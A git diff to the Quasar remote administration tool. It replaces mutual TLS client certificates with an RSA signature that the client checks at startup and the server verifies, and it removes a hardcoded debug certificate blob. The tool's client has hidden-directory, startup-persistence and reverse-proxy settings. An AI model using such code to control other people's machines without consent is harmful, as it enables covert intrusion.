diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs
index 31b6aa6f..aa819405 100644
--- a/Quasar.Client/Config/Settings.cs
+++ b/Quasar.Client/Config/Settings.cs
@@ -1,17 +1,17 @@
-using System;
-using System.Security.Cryptography.X509Certificates;
+using Quasar.Common.Cryptography;
using Quasar.Common.Helpers;
-
-#if !DEBUG
-using Quasar.Common.Cryptography;
-#endif
+using System;
+using System.Security.Cryptography;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using System.Windows.Forms;
namespace Quasar.Client.Config
{
public static class Settings
{
#if DEBUG
- public static string VERSION = System.Windows.Forms.Application.ProductVersion;
+ public static string VERSION = Application.ProductVersion;
public static string HOSTS = "localhost:4782;";
public static int RECONNECTDELAY = 500;
public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
@@ -27,17 +27,14 @@ public static class Settings
public static string ENCRYPTIONKEY = "-.)4>[=u%5G3hY3&";
public static string TAG = "DEBUG";
public static string LOGDIRECTORYNAME = "Logs";
- public static string CLIENTCERTIFICATESTR = "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";
- public static X509Certificate2 CLIENTCERTIFICATE;
- public static string SERVERCERTIFICATESTR = CLIENTCERTIFICATESTR; // dummy certificate, it's not used in production
+ public static string SERVERSIGNATURE = "";
+ public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
public static bool HIDEINSTALLSUBDIRECTORY = false;
public static bool Initialize()
{
- CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(CLIENTCERTIFICATESTR));
- SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(SERVERCERTIFICATESTR));
FixDirectory();
return true;
}
@@ -58,8 +55,7 @@ public static bool Initialize()
public static string ENCRYPTIONKEY = "";
public static string TAG = "";
public static string LOGDIRECTORYNAME = "";
- public static string CLIENTCERTIFICATESTR = "";
- public static X509Certificate2 CLIENTCERTIFICATE;
+ public static string SERVERSIGNATURE = "";
public static string SERVERCERTIFICATESTR = "";
public static X509Certificate2 SERVERCERTIFICATE;
public static bool HIDELOGDIRECTORY = false;
@@ -77,10 +73,10 @@ public static bool Initialize()
MUTEX = aes.Decrypt(MUTEX);
STARTUPKEY = aes.Decrypt(STARTUPKEY);
LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
- CLIENTCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(CLIENTCERTIFICATESTR)));
+ SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
FixDirectory();
- return true;
+ return VerifyHash();
}
#endif
@@ -101,5 +97,20 @@ static void FixDirectory()
DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
}
+
+ static bool VerifyHash()
+ {
+ try
+ {
+ var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
+ return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
+ Convert.FromBase64String(SERVERSIGNATURE));
+
+ }
+ catch (Exception)
+ {
+ return false;
+ }
+ }
}
-}
\ No newline at end of file
+}
diff --git a/Quasar.Client/Networking/Client.cs b/Quasar.Client/Networking/Client.cs
index e3b40efa..32412c1f 100644
--- a/Quasar.Client/Networking/Client.cs
+++ b/Quasar.Client/Networking/Client.cs
@@ -176,12 +176,10 @@ public ReverseProxyClient[] ProxyClients
}
}
- private SslStream _stream;
-
///
- /// The client certificate.
+ /// The stream used for communication.
///
- private readonly X509Certificate2 _clientCertificate;
+ private SslStream _stream;
///
/// The server certificate.
@@ -276,11 +274,9 @@ public ReverseProxyClient[] ProxyClients
///
/// Constructor of the client, initializes serializer types.
///
- /// The client certificate.
/// The server certificate.
- protected Client(X509Certificate2 clientCertificate, X509Certificate2 serverCertificate)
+ protected Client(X509Certificate2 serverCertificate)
{
- _clientCertificate = clientCertificate;
_serverCertificate = serverCertificate;
_readBuffer = new byte[BUFFER_SIZE];
_tempHeader = new byte[HEADER_SIZE];
@@ -306,8 +302,7 @@ protected void Connect(IPAddress ip, ushort port)
if (handle.Connected)
{
_stream = new SslStream(new NetworkStream(handle, true), false, ValidateServerCertificate);
- X509CertificateCollection col = new X509CertificateCollection {_clientCertificate};
- _stream.AuthenticateAsClient(ip.ToString(), col, SslProtocols.Tls, false);
+ _stream.AuthenticateAsClient(ip.ToString(), null, SslProtocols.Tls, false);
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
OnClientState(true);
}
diff --git a/Quasar.Client/Networking/QuasarClient.cs b/Quasar.Client/Networking/QuasarClient.cs
index 627b1365..a3db3fdc 100644
--- a/Quasar.Client/Networking/QuasarClient.cs
+++ b/Quasar.Client/Networking/QuasarClient.cs
@@ -24,8 +24,8 @@ public class QuasarClient : Client
private readonly HostsManager _hosts;
private readonly SafeRandom _random;
- public QuasarClient(HostsManager hostsManager, X509Certificate2 clientCertificate, X509Certificate2 serverCertificate)
- : base(clientCertificate, serverCertificate)
+ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
+ : base(serverCertificate)
{
this._hosts = hostsManager;
this._random = new SafeRandom();
@@ -112,7 +112,8 @@ private void OnClientState(Client client, bool connected)
Username = WindowsAccountHelper.GetName(),
PcName = SystemHelper.GetPcName(),
Tag = Settings.TAG,
- EncryptionKey = Settings.ENCRYPTIONKEY
+ EncryptionKey = Settings.ENCRYPTIONKEY,
+ Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE)
});
if (ClientData.AddToStartupFailed)
diff --git a/Quasar.Client/Program.cs b/Quasar.Client/Program.cs
index f9fd118d..9da5a530 100644
--- a/Quasar.Client/Program.cs
+++ b/Quasar.Client/Program.cs
@@ -138,7 +138,7 @@ private static bool Initialize()
}) {IsBackground = true}.Start();
}
- ConnectClient = new QuasarClient(hosts, Settings.CLIENTCERTIFICATE, Settings.SERVERCERTIFICATE);
+ ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
return true;
}
else
diff --git a/Quasar.Common/Cryptography/Sha256.cs b/Quasar.Common/Cryptography/Sha256.cs
index 9446a45b..c7a6414c 100644
--- a/Quasar.Common/Cryptography/Sha256.cs
+++ b/Quasar.Common/Cryptography/Sha256.cs
@@ -11,7 +11,7 @@ public static string ComputeHash(string input)
using (SHA256Managed sha = new SHA256Managed())
{
- data = sha.ComputeHash(data, 0, data.Length);
+ data = sha.ComputeHash(data);
}
StringBuilder hash = new StringBuilder();
@@ -21,5 +21,13 @@ public static string ComputeHash(string input)
return hash.ToString().ToUpper();
}
+
+ public static byte[] ComputeHash(byte[] input)
+ {
+ using (SHA256Managed sha = new SHA256Managed())
+ {
+ return sha.ComputeHash(input);
+ }
+ }
}
}
diff --git a/Quasar.Common/Messages/ClientIdentification.cs b/Quasar.Common/Messages/ClientIdentification.cs
index da73b302..5fae372a 100644
--- a/Quasar.Common/Messages/ClientIdentification.cs
+++ b/Quasar.Common/Messages/ClientIdentification.cs
@@ -43,5 +43,8 @@ public class ClientIdentification : IMessage
[ProtoMember(13)]
public string EncryptionKey { get; set; }
+
+ [ProtoMember(14)]
+ public byte[] Signature { get; set; }
}
}
diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs
index 625443ee..f5be4962 100644
--- a/Quasar.Server/Build/ClientBuilder.cs
+++ b/Quasar.Server/Build/ClientBuilder.cs
@@ -2,12 +2,11 @@
using Mono.Cecil.Cil;
using Quasar.Common.Cryptography;
using Quasar.Common.Helpers;
-using System;
-using System.IO;
-using System.Security.Cryptography.X509Certificates;
-using System.Windows.Forms;
-using Quasar.Server.Helper;
using Quasar.Server.Models;
+using System;
+using System.Security.Cryptography;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
using Vestris.ResourceLib;
namespace Quasar.Server.Build
@@ -86,9 +85,15 @@ private void WriteSettings(AssemblyDefinition asmDef)
var aes = new Aes256(key);
var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
- var clientCertificate = CertificateHelper.CreateCertificate("Quasar Client", caCertificate, 4096);
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important!
+ byte[] signature;
+ using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey)
+ {
+ var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
+ signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
+ }
+
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "Quasar.Client.Config.Settings")
@@ -132,8 +137,8 @@ private void WriteSettings(AssemblyDefinition asmDef)
case 9: //LogDirectoryName
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName);
break;
- case 10: //ClientCertificate
- methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(clientCertificate.Export(X509ContentType.Pkcs12)));
+ case 10: //ServerSignature
+ methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
break;
case 11: //ServerCertificate
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs
index 31a490a4..1e718548 100644
--- a/Quasar.Server/Forms/FrmBuilder.cs
+++ b/Quasar.Server/Forms/FrmBuilder.cs
@@ -378,15 +378,33 @@ private void BuildClient(object o)
builder.Build();
- MessageBox.Show(this,
- $"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!",
- "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ try
+ {
+ this.Invoke((MethodInvoker) delegate
+ {
+ MessageBox.Show(this,
+ $"Successfully built client!\nSaved to: {options.OutputPath}\n\nOnly install it on computers where you have the permission to do so!",
+ "Build Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
+ });
+ }
+ catch (Exception)
+ {
+ }
}
catch (Exception ex)
{
- MessageBox.Show(this,
- $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
- MessageBoxButtons.OK, MessageBoxIcon.Error);
+ try
+ {
+ this.Invoke((MethodInvoker)delegate
+ {
+ MessageBox.Show(this,
+ $"An error occurred!\n\nError Message: {ex.Message}\nStack Trace:\n{ex.StackTrace}", "Build failed",
+ MessageBoxButtons.OK, MessageBoxIcon.Error);
+ });
+ }
+ catch (Exception)
+ {
+ }
}
SetBuildState(true);
}
diff --git a/Quasar.Server/Networking/QuasarServer.cs b/Quasar.Server/Networking/QuasarServer.cs
index 1afaa630..7783f8dd 100644
--- a/Quasar.Server/Networking/QuasarServer.cs
+++ b/Quasar.Server/Networking/QuasarServer.cs
@@ -1,6 +1,10 @@
-using Quasar.Common.Messages;
+using System;
+using Quasar.Common.Messages;
using System.Linq;
+using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using Quasar.Common.Cryptography;
namespace Quasar.Server.Networking
{
@@ -143,7 +147,20 @@ private bool IdentifyClient(Client client, ClientIdentification packet)
//if (Settings.ShowToolTip)
// client.Send(new GetSystemInfo());
+#if !DEBUG
+ try
+ {
+ var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
+ return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)),
+ CryptoConfig.MapNameToOID("SHA256"), packet.Signature);
+ }
+ catch (Exception)
+ {
+ return false;
+ }
+#else
return true;
+#endif
}
}
}
diff --git a/Quasar.Server/Networking/Server.cs b/Quasar.Server/Networking/Server.cs
index 952f4009..9f00e9d3 100644
--- a/Quasar.Server/Networking/Server.cs
+++ b/Quasar.Server/Networking/Server.cs
@@ -182,7 +182,7 @@ protected Client[] Clients
///
/// The server certificate.
///
- private readonly X509Certificate2 _serverCertificate;
+ protected readonly X509Certificate2 ServerCertificate;
///
/// The event to accept new connections asynchronously.
@@ -215,7 +215,7 @@ protected Client[] Clients
/// The server certificate.
protected Server(X509Certificate2 serverCertificate)
{
- _serverCertificate = serverCertificate;
+ ServerCertificate = serverCertificate;
TypeRegistry.AddTypesToSerializer(typeof(IMessage), TypeRegistry.GetPacketTypes(typeof(IMessage)).ToArray());
}
@@ -274,9 +274,9 @@ private void AcceptClient(object s, SocketAsyncEventArgs e)
{
Socket clientSocket = e.AcceptSocket;
clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime);
- sslStream = new SslStream(new NetworkStream(clientSocket, true), false, ValidateClientCertificate);
+ sslStream = new SslStream(new NetworkStream(clientSocket, true), false);
// the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket
- sslStream.BeginAuthenticateAsServer(_serverCertificate, true, SslProtocols.Tls, false, EndAuthenticateClient,
+ sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticateClient,
new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint});
}
catch (Exception)
@@ -319,12 +319,6 @@ private void EndAuthenticateClient(IAsyncResult ar)
{
con.Stream.EndAuthenticateAsServer(ar);
- // only allow connection which are authenticated on both sides
- if (!con.Stream.IsMutuallyAuthenticated)
- {
- throw new AuthenticationException("Client did not provide a client certificate.");
- }
-
Client client = new Client(_bufferPool, con.Stream, con.EndPoint);
AddClient(client);
OnClientState(client, true);
@@ -335,54 +329,6 @@ private void EndAuthenticateClient(IAsyncResult ar)
}
}
- ///
- /// Validates the client certificate by checking whether it has been signed by the server.
- ///
- /// The sender of the callback.
- /// The client certificate to validate.
- /// The X.509 chain.
- /// The SSL policy errors.
- /// Returns true when the validation was successful, otherwise false.
- public bool ValidateClientCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
- {
-#if DEBUG
- // for debugging don't validate client certificate
- return true;
-#else
- // if client does not provide a certificate, don't accept connection
- if (certificate == null) return false;
-
- chain.Reset();
- chain.ChainPolicy.RevocationMode = X509RevocationMode.NoCheck;
- chain.ChainPolicy.VerificationFlags = X509VerificationFlags.AllowUnknownCertificateAuthority;
- chain.ChainPolicy.VerificationTime = DateTime.UtcNow;
- chain.ChainPolicy.ExtraStore.Add(_serverCertificate);
-
- chain.Build(new X509Certificate2(certificate));
-
- bool result = true;
-
- foreach (var status in chain.ChainStatus)
- {
- if (status.Status == X509ChainStatusFlags.UntrustedRoot)
- {
- // self-signed certificates with an untrusted root are valid.
- continue;
- }
- else
- {
- if (status.Status != X509ChainStatusFlags.NoError)
- {
- // if there are any other errors in the certificate chain, the certificate is invalid.
- result = false;
- }
- }
- }
-
- return result;
-#endif
- }
-
///
/// Adds a connected client to the list of clients,
/// subscribes to the client's events.